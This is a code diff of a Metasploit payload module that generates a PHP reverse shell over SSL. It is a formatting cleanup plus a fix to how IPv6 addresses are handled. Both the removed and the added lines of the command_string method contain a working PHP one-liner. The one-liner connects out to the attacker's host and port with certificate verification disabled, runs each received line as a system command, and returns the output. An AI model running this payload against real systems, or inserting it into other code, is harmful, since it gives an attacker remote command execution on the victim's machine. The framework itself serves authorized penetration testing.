33# Current source: https://github.com/rapid7/metasploit-framework
44##
55
6-
76module MetasploitModule
8-
97 CachedSize = 279
108
119 include Msf ::Payload ::Single
1210 include Msf ::Sessions ::CommandShellOptions
1311
1412 def initialize ( info = { } )
15- super ( merge_info ( info ,
16- 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)' ,
17- 'Description' => 'Creates an interactive shell via php, uses SSL' ,
18- 'Author' => 'RageLtMan <rageltman[at]sempervictus>' ,
19- 'License' => BSD_LICENSE ,
20- 'Platform' => 'unix' ,
21- 'Arch' => ARCH_CMD ,
22- 'Handler' => Msf ::Handler ::ReverseTcpSsl ,
23- 'Session' => Msf ::Sessions ::CommandShell ,
24- 'PayloadType' => 'cmd' ,
25- 'RequiredCmd' => 'php' ,
26- 'Payload' =>
27- {
28- 'Offsets' => { } ,
29- 'Payload' => ''
30- }
31- ) )
13+ super (
14+ merge_info (
15+ info ,
16+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)' ,
17+ 'Description' => 'Creates an interactive shell via php, uses SSL' ,
18+ 'Author' => 'RageLtMan <rageltman[at]sempervictus>' ,
19+ 'License' => BSD_LICENSE ,
20+ 'Platform' => 'unix' ,
21+ 'Arch' => ARCH_CMD ,
22+ 'Handler' => Msf ::Handler ::ReverseTcpSsl ,
23+ 'Session' => Msf ::Sessions ::CommandShell ,
24+ 'PayloadType' => 'cmd' ,
25+ 'RequiredCmd' => 'php' ,
26+ 'Payload' => {
27+ 'Offsets' => { } ,
28+ 'Payload' => ''
29+ }
30+ )
31+ )
3232 register_advanced_options (
3333 [
3434 OptString . new ( 'PHPPath' , [ true , 'The path to the PHP executable' , 'php' ] )
@@ -48,9 +48,7 @@ def generate(_opts = {})
4848 # Returns the command string to use for execution
4949 #
5050 def command_string
51- lhost = datastore [ 'LHOST' ]
52- ver = Rex ::Socket . is_ipv6? ( lhost ) ? "6" : ""
53- lhost = "[#{ lhost } ]" if Rex ::Socket . is_ipv6? ( lhost )
54- cmd = "#{ datastore [ 'PHPPath' ] } -r '$ctxt=stream_context_create([\" ssl\" =>[\" verify_peer\" =>false,\" verify_peer_name\" =>false]]);while($s=@stream_socket_client(\" ssl://#{ datastore [ 'LHOST' ] } :#{ datastore [ 'LPORT' ] } \" ,$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\" \\ n\" ,$o);$o.=\" \\ n\" ;fputs($s,$o);}}'&"
51+ lhost = Rex ::Socket . is_ipv6? ( datastore [ 'LHOST' ] ) ? "[#{ datastore [ 'LHOST' ] } ]" : datastore [ 'LHOST' ]
52+ "#{ datastore [ 'PHPPath' ] } -r '$ctxt=stream_context_create([\" ssl\" =>[\" verify_peer\" =>false,\" verify_peer_name\" =>false]]);while($s=@stream_socket_client(\" ssl://#{ lhost } :#{ datastore [ 'LPORT' ] } \" ,$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\" \\ n\" ,$o);$o.=\" \\ n\" ;fputs($s,$o);}}'&"
5553 end
5654end
0 commit comments